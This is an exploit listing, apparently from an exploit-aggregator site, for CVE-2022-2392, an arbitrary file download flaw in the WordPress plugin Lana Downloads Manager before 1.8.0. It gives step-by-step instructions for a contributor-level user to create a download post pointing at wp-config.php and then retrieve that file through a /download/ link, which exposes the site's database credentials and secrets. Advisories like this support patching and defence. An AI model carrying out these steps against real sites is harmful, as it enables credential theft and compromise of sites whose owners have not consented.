Exploit for Lana Downloads Manager < 1.8.0 - Contributor+ Arbitrary File Download CVE-2022-2392

Name: Exploit for Lana Downloads Manager < 1.8.0 - Contributor+ Arbitrary File Download CVE-2022-2392
Rating: 5 (89 reviews)

2022-08-01 | CVSS 0.6

## https://sploitus.com/exploit?id=WPEX-ID:5001ED18-858E-4C9D-9D7B-A1305FCDF61B
# As contributor, navigate to https://target/blog/wp-admin/post-new.php?post_type=lana_download

# Inside "File (URL):" input, fill the file you want to download, for example: wp-config.php

# Save the post

# To download the file, you will be able to see a link that will directly download file

https://target/blog/download/1/